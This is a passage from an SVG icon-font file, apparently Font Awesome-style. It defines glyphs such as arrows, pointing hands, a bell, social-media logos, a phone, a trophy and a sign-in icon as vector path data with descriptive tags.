<glyph unicode="&#xf0a8;" d="M 320,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-125.5,0 l 47.25,47.25q 4.75,4.75 4.75,11.25t-4.75,11.25l-22.75,22.75q-4.5,4.5 -11.25,4.5t-11.25-4.5l-90.5-90.5l-22.75-22.75q-4.5-4.5 -4.5-11.25t 4.5-11.25l 22.75-22.75l 90.5-90.5q 4.5-4.5 11.25-4.5t 11.25,4.5l 22.75,22.75q 4.5,4.5 4.5,11.25t-4.5,11.25l-47.25,47.25l 125.5,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="circle-arrow-left, left, arrow, previous" />
<glyph unicode="&#xf0a7;" d="M 352,144q0,21 -8,45.75t-16,48.5t-8,41.75l0,8 l-160,0 l0-8 q0-8.75 -3-16.875t-9.25-15.625t-11.5-12.5t-13.5-12.25q-2.25-2 -3.5-3q-20.25-18 -36.25-28q-5.5-3.5 -17-9.5q-0.75-0.25 -5.625-2.625t-9-4.625t-8.875-5t-7.625-5.375t-2.875-4.625q0-17.75 7.625-28.875t 24.375-11.125q 10.75,0 21.125,3.75t 17,8.25 t 13.75,8.25t 12.125,3.75l0-144 q0-12.5 9.625-22.25t 22.375-9.75q 13,0 22.5,9.5t 9.5,22.5l0,82.75 q 11.5-8.75 25.75-8.75q 17.25,0 29.75,13.25q 8-4.5 17.25-4.5t 18.375,4.375t 13.125,11.875q 6-1 14-1q 21.25,0 31.5,12.125t 10.25,33.875zM 320,336q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 384,145 q0-35.5 -19.375-57.5t-54.375-21.75l-1.25,0.25q-19-15.25 -44.5-15.25q-5.5,0 -10.75,0.75q-13.5-7.5 -29.75-9.25l0-42.25 q0-26.25 -19-45.125t-45.25-18.875q-25.75,0 -44.75,19t-19,45l0,93.5 q-13.5-5.5 -32-5.5q-30.25,0 -47.125,20.375t-16.875,51.625q0,9.5 4.375,17.375t 12.375,13.75t 15.75,10.125t 18,9.25t 15.5,8.25q 13.75,8.75 32.25,25 q 0.75,0.5 4.25,3.5t 5.375,4.75t 5.375,5.125t 5.625,6t 4.5,5.625t 3.5,5.875t 1.125,5.375l0,72 q0,13.25 9.375,22.625t 22.625,9.375l 160,0 q 13.25,0 22.625-9.375t 9.375-22.625l0-72 q0-14.75 14.75-55.75q 17.25-47.5 17.25-79.25z" horiz-adv-x="384" data-tags="hand-down, down, bottom, point" />
<glyph unicode="&#xf0a6;" d="M 320-16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,175q0,47.25 -41.75,47.25q-6.5,0 -14-1.25q-4,7.5 -13.125,11.875t-18.375,4.375t-17.25-4.5q-12.5,13.25 -29.75,13.25q-6.25,0 -13.875-2.5t-11.875-6.25l0,82.75 q0,13 -9.5,22.5t-22.5,9.5q-12.75,0 -22.375-9.75t-9.625-22.25l0-144  q-5,0 -12.125,3.75t-13.75,8.25t-17,8.25t-21.125,3.75q-16.75,0 -24.375-11.125t-7.625-28.875q0-6 34.75-22.5q 11-6 16.25-9.25q 16-10 36.25-28q 20.25-17.75 26.5-25.25q 14.25-17.25 14.25-35l0-8 l 160,0 l0,8 q0,18 8,41.75t 16,48.375t 8,44.875zM 384,176.25q0-33.25 -17.25-80.5q-14.75-41 -14.75-55.75l0-72 q0-13.25 -9.375-22.625 t-22.625-9.375l-160,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,72 q0,2.5 -1.125,5.375t-3.5,5.875t-4.5,5.625t-5.625,6t-5.375,5.125t-5.375,4.75t-4.25,3.5q-18.5,16.25 -32.25,25q-5.25,3.25 -15.5,8.25t-18,9.25t-15.75,10.125t-12.375,13.75t-4.375,17.375q0,31.25 16.75,51.625t 47.25,20.375q 17,0 32-5.5l0,93.5 q0,26 19,45t 44.75,19 q 26.25,0 45.25-18.875t 19-45.125l0-42.25 q 15.5-1 29.75-9.25q 5.25,0.75 10.75,0.75q 25.25,0 44.5-15q 34.75,0.25 54.875-21.25t 20.125-56.75z" horiz-adv-x="384" data-tags="hand-up, up, top, point" />
<glyph unicode="&#xf0a5;" d="M 344,32l 8,0 l0,160 l-8,0 q-8.75,0 -16.875,3t-15.625,9.25t-12.5,11.5t-12.25,13.5q-0.5,0.75 -0.875,1.125t-1,1.125t-1.125,1.25q-18,20.25 -28,36.25q-3.5,5.5 -9.5,17q-0.25,0.75 -2.625,5.625t-4.625,9t-5,8.875t-5.375,7.625t-4.625,2.875q-17.75,0 -28.875-7.625t-11.125-24.375q0-10.75 3.75-21.125t 8.25-17t 8.25-13.75t 3.75-12.125l-144,0  q-12.5,0 -22.25-9.625t-9.75-22.375q0-13 9.5-22.5t 22.5-9.5l 82.75,0 q-3.75-4.25 -6.25-11.875t-2.5-13.875q0-17.25 13.25-29.75q-4.5-8 -4.5-17.25t 4.375-18.375t 11.875-13.125q-1-6 -1-14q0-21.25 12.125-31.5t 33.875-10.25q 21,0 45.75,8t 48.5,16t 41.75,8zM 416,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25 t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 448,192l0-160 q0-13.25 -9.375-22.625t-22.625-9.375l-72,0 q-14.75,0 -55.75-14.75q-47.5-17.25 -79.25-17.25q-35.5,0 -57.5,19.375t-21.75,54.375l 0.25,1.25q-15.25,19 -15.25,44.5q0,5.5 0.75,10.75q-8.25,14.25 -9.25,29.75l-42.25,0 q-26.25,0 -45.125,19t-18.875,45.25q0,25.75 19,44.75t 45,19l 93.5,0 q-5.5,15 -5.5,32 q0,30.5 20.375,47.25t 51.625,16.75q 9.5,0 17.375-4.375t 13.75-12.375t 10.125-15.75t 9.25-18t 8.25-15.5q 8.75-13.75 25-32.25q 0.5-0.75 3.5-4.25t 4.75-5.375t 5.125-5.375t 6-5.625t 5.625-4.5t 5.875-3.5t 5.375-1.125l 72,0 q 13.25,0 22.625-9.375t 9.375-22.625z" data-tags="hand-left, point, left" />
<glyph unicode="&#xf0a4;" d="M 64,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,192q0,12.75 -9.75,22.375t-22.25,9.625l-144,0 q0,5 3.75,12.125t 8.25,13.75t 8.25,17t 3.75,21.125q0,16.75 -11.125,24.375t-28.875,7.625q-6,0 -22.5-34.75q-6-11 -9.25-16.25q-10-16 -28-36.25q-17.75-20.25 -25.25-26.5 q-17.25-14.25 -35-14.25l-8,0 l0-160 l 8,0 q 18,0 41.75-8t 48.375-16t 44.875-8q 47.25,0 47.25,41.75q0,6.5 -1.25,14q 7.5,4 11.875,13.125t 4.375,18.375t-4.5,17.25q 13.25,12.5 13.25,29.75q0,6.25 -2.5,13.875t-6.25,11.875l 82.75,0 q 13,0 22.5,9.5t 9.5,22.5zM 448,192.25q0-26.25 -18.875-45.25t-45.125-19l-42.25,0 q-1-15.5 -9.25-29.75q 0.75-5.25 0.75-10.75 q0-25.25 -15-44.5q 0.25-34.75 -21.25-54.875t-56.75-20.125q-33.25,0 -80.5,17.25q-41,14.75 -55.75,14.75l-72,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,160 q0,13.25 9.375,22.625t 22.625,9.375l 72,0 q 2.5,0 5.375,1.125t 5.875,3.5t 5.625,4.5t 6,5.625t 5.125,5.375t 4.75,5.375t 3.5,4.25q 16.25,18.5 25,32.25q 3.25,5.25 8.25,15.5t 9.25,18t 10.125,15.75t 13.75,12.375 t 17.375,4.375q 31.25,0 51.625-16.75t 20.375-47.25q0-17 -5.5-32l 93.5,0 q 26,0 45-19t 19-44.75z" data-tags="hand-right, point, right" />
<glyph unicode="&#xf0a3;" d="M 344,160l 34.5-33.75q 7.5-7 5-17.5q-3-10.25 -13-12.75l-47-12l 13.25-46.5q 3-10.25 -4.75-17.5q-7.25-7.75 -17.5-4.75l-46.5,13.25l-12-47q-2.5-10 -12.75-13q-3-0.5 -4.75-0.5q-7.75,0 -12.75,5.5l-33.75,34.5l-33.75-34.5q-7-7.5 -17.5-5q-10.25,2.75 -12.75,13l-12,47l-46.5-13.25q-10.25-3 -17.5,4.75q-7.75,7.25 -4.75,17.5 l 13.25,46.5l-47,12q-10,2.5 -13,12.75q-2.5,10.5 5,17.5l 34.5,33.75l-34.5,33.75q-7.5,7 -5,17.5q 3,10.25 13,12.75l 47,12l-13.25,46.5q-3,10.25 4.75,17.5q 7.25,7.75 17.5,4.75l 46.5-13.25l 12,47q 2.5,10.25 12.75,12.75q 10.25,3 17.5-4.75l 33.75-34.75l 33.75,34.75q 7.25,7.5 17.5,4.75q 10.25-2.5 12.75-12.75l 12-47l 46.5,13.25q 10.25,3 17.5-4.75q 7.75-7.25 4.75-17.5 l-13.25-46.5l 47-12q 10-2.5 13-12.75q 2.5-10.5 -5-17.5z" horiz-adv-x="384" data-tags="certificate, starburst" />
<glyph unicode="&#xf0a2;" d="M 212-40q0,4 -4,4q-14.75,0 -25.375,10.625t-10.625,25.375q0,4 -4,4t-4-4q0-18.25 12.875-31.125t 31.125-12.875q 4,0 4,4zM 45.75,32l 324.5,0 q-41,45.25 -61.625,102.875t-20.625,121.125q0,64 -80,64t-80-64q0-63.5 -20.625-121.125t-61.625-102.875zM 416,32q0-13 -9.5-22.5t-22.5-9.5 l-112,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-112,0 q-13,0 -22.5,9.5t-9.5,22.5q 47.5,40.25 71.75,99.375t 24.25,124.625q0,41.25 24,65.5t 66,29.25q-2,4.5 -2,9.25q0,10 7,17t 17,7t 17-7t 7-17q0-4.75 -2-9.25q 42-5 66-29.25t 24-65.5q0-65.5 24.25-124.625t 71.75-99.375z" horiz-adv-x="416" data-tags="bell, alarm, notification" />
<glyph unicode="&#xf0a1;" d="M 416,224q 13.25,0 22.625-9.375t 9.375-22.625t-9.375-22.625t-22.625-9.375l0-96 q0-13 -9.5-22.5t-22.5-9.5q-104.25,86.75 -203,95q-14.5-4.75 -22.75-16.5t-7.75-25.125t 10-23.125q-5-8.25 -5.75-16.375t 1.5-14.5t 8.375-13.75t 12-12.5t 15.375-12.625q-7.25-14.5 -27.875-20.75t-42.125-2.875t-33,13.875q-1.75,5.75 -7.375,21.875 t-8,23.625t-5.75,22.25t-3.75,25.25t 0.875,24.625t 5.5,27.625l-30.5,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,48 q0,16.5 11.75,28.25t 28.25,11.75l 120,0 q 108.75,0 224,96q 13,0 22.5-9.5t 9.5-22.5l0-96 zM 384,73l0,238.5 q-98.5-75.5 -192-85.75l0-67.5 q 94.25-10.5 192-85.25z" data-tags="bullhorn, megaphone, announcement, advertisement" />
<glyph unicode="&#xf0a0;" d="M 260,80q0-8.25 -5.875-14.125t-14.125-5.875t-14.125,5.875t-5.875,14.125t 5.875,14.125t 14.125,5.875t 14.125-5.875t 5.875-14.125zM 324,80q0-8.25 -5.875-14.125t-14.125-5.875t-14.125,5.875t-5.875,14.125t 5.875,14.125t 14.125,5.875t 14.125-5.875t 5.875-14.125zM 352,40l0,80 q0,3.25 -2.375,5.625t-5.625,2.375 l-304,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-80 q0-3.25 2.375-5.625t 5.625-2.375l 304,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 44.5,160l 295,0 l-39.25,120.5q-1,3.25 -4,5.375t-6.5,2.125l-195.5,0 q-3.5,0 -6.5-2.125t-4-5.375zM 384,120l0-80 q0-16.5 -11.75-28.25t-28.25-11.75l-304,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,80 q0,6.25 4,18.75 l 49.25,151.5q 4.25,13.25 15.75,21.5t 25.25,8.25l 195.5,0 q 13.75,0 25.25-8.25t 15.75-21.5l 49.25-151.5q 4-12.5 4-18.75z" horiz-adv-x="384" data-tags="hdd, drive, disk, storage, hard disk" />
<glyph unicode="&#xf09e;" d="M 96,48q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 224,17.25q 0.5-7 -4.25-12q-4.5-5.25 -11.75-5.25l-33.75,0 q-6.25,0 -10.75,4.125t-5,10.375q-5.5,57.25 -46.125,97.875t-97.875,46.125q-6.25,0.5 -10.375,5t-4.125,10.75l0,33.75 q0,7.25 5.25,11.75q 4.25,4.25 10.75,4.25l 1.25,0 q 40-3.25 76.5-20.125 t 64.75-45.375q 28.5-28.25 45.375-64.75t 20.125-76.5zM 352,16.75q 0.5-6.75 -4.5-11.75q-4.5-5 -11.5-5l-35.75,0 q-6.5,0 -11.125,4.375t-4.875,10.625q-3,53.75 -25.25,102.125t-57.875,84t-84,57.875t-102.125,25.5q-6.25,0.25 -10.625,4.875t-4.375,10.875l0,35.75 q0,7 5,11.5q 4.5,4.5 11,4.5l 0.75,0 q 65.5-3.25 125.375-30t 106.375-73.5 q 46.75-46.5 73.5-106.375t 30-125.375z" horiz-adv-x="352" data-tags="rss, atom, feed" />
<glyph unicode="&#xf09d;" d="M 440,352q 16.5,0 28.25-11.75t 11.75-28.25l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 zM 40,320q-3.25,0 -5.625-2.375t-2.375-5.625l0-56 l 416,0 l0,56 q0,3.25 -2.375,5.625t-5.625,2.375l-400,0 zM 440,0q 3.25,0 5.625,2.375t 2.375,5.625l0,152 l-416,0 l0-152  q0-3.25 2.375-5.625t 5.625-2.375l 400,0 zM 64,32l0,32 l 64,0 l0-32 l-64,0 zM 160,32l0,32 l 96,0 l0-32 l-96,0 z" horiz-adv-x="480" data-tags="credit, payment, card" />
<glyph unicode="&#xf09c;" d="M 416,240l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25l0-48 l 24,0 q 10,0 17-7t 7-17l0-144 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,144 q0,10 7,17t 17,7l 168,0 l0,48 q0,46.25 32.875,79.125t 79.125,32.875 t 79.125-32.875t 32.875-79.125z" horiz-adv-x="416" data-tags="unlock" />
<glyph unicode="&#xf09b;" d="M 384,160q0-62.75 -36.625-112.875t-94.625-69.375q-6.75-1.25 -9.875,1.75t-3.125,7.5l0,52.75 q0,24.25 -13,35.5q 14.25,1.5 25.625,4.5t 23.5,9.75t 20.25,16.625t 13.25,26.25t 5.125,37.625q0,30.25 -19.75,51.5q 9.25,22.75 -2,51q-7,2.25 -20.25-2.75t-23-11l-9.5-6q-23.25,6.5 -48,6.5t-48-6.5q-4,2.75 -10.625,6.75t-20.875,9.625t-21.5,3.375 q-11-28.25 -1.75-51q-19.75-21.25 -19.75-51.5q0-21.25 5.125-37.5t 13.125-26.25t 20.125-16.75t 23.5-9.75t 25.625-4.5q-10-9 -12.25-25.75q-5.25-2.5 -11.25-3.75t-14.25-1.25t-16.375,5.375t-13.875,15.625q-4.75,8 -12.125,13t-12.375,6l-5,0.75q-5.25,0 -7.25-1.125t-1.25-2.875t 2.25-3.5t 3.25-3l 1.75-1.25q 5.5-2.5 10.875-9.5t 7.875-12.75l 2.5-5.75 q 3.25-9.5 11-15.375t 16.75-7.5t 17.375-1.75t 13.875,0.875l 5.75,1q0-9.5 0.125-22.25t 0.125-13.5q0-4.5 -3.25-7.5t-10-1.75q-58,19.25 -94.625,69.375t-36.625,112.875q0,52.25 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="github, social" />
<glyph unicode="&#xf09a;" d="M 127.75,245l 64.25,0 l-7.5-71l-56.75,0 l0-206 l-85.25,0 l0,206 l-42.5,0 l0,71 l 42.5,0 l0,42.75 q0,45.5 21.5,68.875t 70.75,23.375l 56.75,0 l0-71 l-35.5,0 q-9.75,0 -15.625-1.625t-8.5-5.875t-3.375-8.625t-0.75-12.375l0-35.5 z" horiz-adv-x="192" data-tags="facebook, social" />
<glyph unicode="&#xf099;" d="M 405,282q-16.75-24.5 -40.5-41.75q 0.25-3.5 0.25-10.5q0-32.5 -9.5-64.875t-28.875-62.125t-46.125-52.625t-64.5-36.5t-80.75-13.625q-67.75,0 -124,36.25q 8.75-1 19.5-1q 56.25,0 100.25,34.5q-26.25,0.5 -47,16.125t-28.5,39.875q 8.25-1.25 15.25-1.25q 10.75,0 21.25,2.75q-28,5.75 -46.375,27.875t-18.375,51.375l0,1 q 17-9.5 36.5-10.25 q-16.5,11 -26.25,28.75t-9.75,38.5q0,22 11,40.75q 30.25-37.25 73.625-59.625t 92.875-24.875q-2,9.5 -2,18.5q0,33.5 23.625,57.125t 57.125,23.625q 35,0 59-25.5q 27.25,5.25 51.25,19.5q-9.25-28.75 -35.5-44.5q 23.25,2.5 46.5,12.5z" horiz-adv-x="416" data-tags="twitter, social" />
<glyph unicode="&#xf098;" d="M 320,85.75q0,2.75 -0.5,4q-0.75,2 -9.625,7.375t-22.125,12.375l-13.25,7.25q-1.25,0.75 -4.75,3.25t-6.25,3.75t-5.25,1.25q-4.5,0 -11.75-8.125t-14.25-16.375t-11-8.25q-1.75,0 -4.125,0.875t-3.875,1.625t-4.25,2.375t-3.5,2.125q-24.75,13.75 -42.625,31.625t-31.625,42.625q-0.5,0.75 -2.125,3.5t-2.375,4.25t-1.625,3.875t-0.875,4.125q0,3.25 5.125,8.375t 11.25,9.625 t 11.25,9.875t 5.125,9.125q0,2.5 -1.25,5.25t-3.75,6.25t-3.25,4.75q-0.75,1.5 -3.75,7.125t-6.25,11.375t-6.625,11.875t-6.25,10.125t-4.125,4.5t-4,0.5q-12,0 -25.25-5.5q-11.5-5.25 -20-23.625t-8.5-32.625q0-4 0.625-8.5t 1.25-7.625t 2.25-8.25t 2.5-7.375t 3.125-8.25t 2.75-7.5q 15-41 54.125-80.125t 80.125-54.125q 1.5-0.5 7.5-2.75t 8.25-3.125 t 7.375-2.5t 8.25-2.25t 7.625-1.25t 8.5-0.625q 14.25,0 32.625,8.5t 23.625,20q 5.5,13.25 5.5,25.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="phone-sign, contact, talk, voice" />
<glyph unicode="&#xf097;" d="M 288,320l-256,0 l0-310.5 l 105.75,101.5l 22.25,21.25l 22.25-21.25l 105.75-101.5l0,310.5 zM 291,352q 5.75,0 11-2.25q 8.25-3.25 13.125-10.25t 4.875-15.5l0-322.25 q0-8.5 -4.875-15.5t-13.125-10.25q-4.75-2 -11-2q-12,0 -20.75,8l-110.25,106l-110.25-106q-9-8.25 -20.75-8.25q-5.75,0 -11,2.25q-8.25,3.25 -13.125,10.25t-4.875,15.5l0,322.25  q0,8.5 4.875,15.5t 13.125,10.25q 5.25,2.25 11,2.25l 262,0 z" horiz-adv-x="320" data-tags="bookmark-empty" />
<glyph unicode="&#xf096;" d="M 280,320l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,208 q0,16.5 -11.75,28.25t-28.25,11.75zM 352,280l0-208 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0  q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="352" data-tags="check-empty, checkbox, square" />
<glyph unicode="&#xf095;" d="M 352,74q0-6.75 -2.5-17.625t-5.25-17.125q-5.25-12.5 -30.5-26.5q-23.5-12.75 -46.5-12.75q-6.75,0 -13.125,0.875t-14.375,3.125t-11.875,3.625t-13.875,5.125t-12.25,4.5q-24.5,8.75 -43.75,20.75q-32,19.75 -66.125,53.875t-53.875,66.125q-12,19.25 -20.75,43.75q-0.75,2.25 -4.5,12.25t-5.125,13.875t-3.625,11.875t-3.125,14.375t-0.875,13.125 q0,23 12.75,46.5q 14,25.25 26.5,30.5q 6.25,2.75 17.125,5.25t 17.625,2.5q 3.5,0 5.25-0.75q 4.5-1.5 13.25-19q 2.75-4.75 7.5-13.5t 8.75-15.875t 7.75-13.375q 0.75-1 4.375-6.25t 5.375-8.875t 1.75-7.125q0-5 -7.125-12.5t-15.5-13.75t-15.5-13.25t-7.125-11.5q0-2.25 1.25-5.625t 2.125-5.125t 3.5-6t 2.875-4.75q 19-34.25 43.5-58.75t 58.75-43.5 q 0.5-0.25 4.75-2.875t 6-3.5t 5.125-2.125t 5.625-1.25q 4.5,0 11.5,7.125t 13.25,15.5t 13.75,15.5t 12.5,7.125q 3.5,0 7.125-1.75t 8.875-5.375t 6.25-4.375q 6.25-3.75 13.375-7.75t 15.875-8.75t 13.5-7.5q 17.5-8.75 19-13.25q 0.75-1.75 0.75-5.25z" horiz-adv-x="352" data-tags="phone, contact, talk, voice" />
<glyph unicode="&#xf094;" d="M 351.75,177.5q0,11 -1.75,28.375t-4.5,24.125q-3,7.5 -4.25,11t-2.25,9.125t-1,12.125q0,5.75 1.25,17.125t 1.25,16.875q0,9.25 -2.5,13.75q-1,0.25 -3.25,0.25q-4.75,0 -14.5-1.125t-14.75-1.125q-15,0 -44,6t-43.75,6q-10.75,0 -23.625-2.875t-21.25-5.875t-22.375-8.5q-34.25-13.5 -50.5-25.75q-24-18.25 -39.875-47.375t-22-59t-6.125-62.125 q0-10 3.125-30t 3.125-30.25q0-5.75 -2.75-16.625t-2.75-16.375t 3-9.125t 8.5-3.625q 6,0 18.125,2.75t 18.375,2.75q 14.25,0 42.375-3.875t 42.375-3.875q 45.25,0 71,9q 32.25,11.25 58.875,38.125t 41.5,61.375t 14.875,68.75zM 383.75,178q0-41.25 -17.5-81.875t-49-72t-70.25-45.125q-31-11 -81.5-11 q-14.25,0 -42.5,3.625t-42.25,3.625q-6,0 -18.125-3.625t-18.375-3.625q-18.25,0 -30.875,13.875t-12.625,32.125q0,6 2.75,17t 2.75,16.75q0,10 -3.125,30.125t-3.125,30.375q0,27.75 4.5,54.375t 13.625,52.375t 25.125,48.5t 37.5,39q 19.5,14.75 58,30q 48.5,19.5 79,19.5q 15,0 43.875-6t 43.375-6q 4.75,0 14.25,1.25t 14.5,1.25 q 20.25,0 29.5-12.625t 9.25-33.625q0-5.75 -1.25-17t-1.25-17q0-2.5 0.25-4.625t 0.75-4.25t 1-3.375t 1.625-4t 1.625-4.25q 4-10 6.25-29.625t 2.25-34.125z" horiz-adv-x="384" data-tags="lemon, fruit, food" />
<glyph unicode="&#xf093;" d="M 320,16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 384,16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,72l0-80 q0-10 -7-17t-17-7l-368,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 106.75,0 q 5.25-14 17.625-23 t 27.625-9l 64,0 q 15.25,0 27.625,9t 17.625,23l 106.75,0 q 10,0 17-7t 7-17zM 334.75,234q-4.25-10 -14.75-10l-64,0 l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-64,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 l-64,0 q-10.5,0 -14.75,10q-4.25,9.75 3.5,17.25l 112,112q 4.5,4.75 11.25,4.75t 11.25-4.75l 112-112q 7.75-7.5 3.5-17.25z" horiz-adv-x="416" data-tags="upload-alt, load, open" />
<glyph unicode="&#xf092;" d="M 98.5,46q-2-2.25 -5,0.75q-3.25,2.75 -1,4.75q 2,2.25 5-0.75q 3-2.75 1-4.75zM 88,61.25q 2.25-3 0-4.75q-2-1.5 -4.25,1.75t0,4.5q 2.25,1.75 4.25-1.5zM 72.75,76.25q-1.25-1.75 -3.25-0.5q-2.5,1.25 -1.75,3q 0.75,1.25 3.25,0.5q 2.5-1.25 1.75-3zM 80.5,67.75q-1.5-1.75 -4,0.75q-2.25,2.75 -0.5,4q 1.5,1.5 4-0.75q 2.25-2.75 0.5-4zM 112.75,39.75q-1-3 -4.75-1.5q-4.25,1 -3.25,3.75 t 4.75,1.75q 4-1.25 3.25-4zM 128.5,38.5q0-2.75 -4-2.75q-4.25-0.5 -4.25,2.75q0,2.75 4,2.75q 4.25,0.5 4.25-2.75zM 143,41q 0.5-2.5 -3.5-3.5t-4.5,2t 3.5,3.75q 4,0.5 4.5-2.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-56,0 q-4,0 -6.125,0.25t-4.875,1.25t-4,3.625t-1.25,6.875l0,59.75 q0,24.25 -13,35.5q 14.25,1.5 25.625,4.5t 23.5,9.75 t 20.25,16.625t 13.25,26.25t 5.125,37.625q0,30.25 -19.75,51.5q 9.25,22.75 -2,51q-7,2.25 -20.25-2.75t-23-11l-9.5-6q-23.25,6.5 -48,6.5t-48-6.5q-4,2.75 -10.625,6.75t-20.875,9.625t-21.5,3.375q-11-28.25 -1.75-51q-19.75-21.25 -19.75-51.5q0-21.25 5.125-37.5t 13.125-26.25t 20.125-16.75t 23.5-9.75t 25.625-4.5q-10-9 -12.25-25.75 q-5.25-2.5 -11.25-3.75t-14.25-1.25t-16.375,5.375t-13.875,15.625q-4.75,8 -12.125,13t-12.375,6l-5,0.75q-5.25,0 -7.25-1.125t-1.25-2.875t 2.25-3.5t 3.25-3l 1.75-1.25q 5.5-2.5 10.875-9.5t 7.875-12.75l 2.5-5.75q 3.25-9.5 11-15.375t 16.75-7.5t 17.375-1.75t 13.875,0.875l 5.75,1q0-9.5 0.125-25.75t 0.125-17q0-5.5 -2.75-8.375t-5.5-3.25t-8.25-0.375 l-56,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="github-sign, git, social" />
<glyph unicode="&#xf091;" d="M 114.5,163.25q-18.5,40.5 -18.5,92.75l-64,0 l0-24 q0-19.5 23.625-40.5t 58.875-28.25zM 384,232l0,24 l-64,0 q0-52.25 -18.5-92.75q 35.25,7.25 58.875,28.25t 23.625,40.5zM 416,264l0-32 q0-17.75 -10.375-35.75t-28-32.5t-43.25-24.375t-53.875-11.125q-10.5-13.5 -23.75-23.75q-9.5-8.5 -13.125-18.125t-3.625-22.375q0-13.5 7.625-22.75 t 24.375-9.25q 18.75,0 33.375-11.375t 14.625-28.625l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,17.25 14.625,28.625t 33.375,11.375q 16.75,0 24.375,9.25t 7.625,22.75q0,12.75 -3.625,22.375t-13.125,18.125q-13.25,10.25 -23.75,23.75q-28.25,1.25 -53.875,11.125t-43.25,24.375t-28,32.5t-10.375,35.75l0,32 q0,10 7,17t 17,7l 72,0 l0,24  q0,16.5 11.75,28.25t 28.25,11.75l 144,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 72,0 q 10,0 17-7t 7-17z" horiz-adv-x="416" data-tags="trophy, cup, prize, present, win, tournament" />
<glyph unicode="&#xf090;" d="M 296,160q0-6.5 -4.75-11.25l-136-136q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,72 l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 l0,72 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 136-136q 4.75-4.75 4.75-11.25zM 384,248l0-176 q0-29.75 -21.125-50.875t-50.875-21.125l-80,0 q-3.25,0 -5.625,2.375t-2.375,5.625 q0,1 -0.25,5t-0.125,6.625t 0.75,5.875t 2.5,4.875t 5.125,1.625l 80,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,176 q0,16.5 -11.75,28.25t-28.25,11.75l-72,0 l-2.75,0 l-3.25,0 t-2.875,0.25t-2.875,0.75t-2,1.375t-1.75,2.25t-0.5,3.375q0,1 -0.25,5t-0.125,6.625t 0.75,5.875t 2.5,4.875t 5.125,1.625l 80,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="signin, login, enter" />
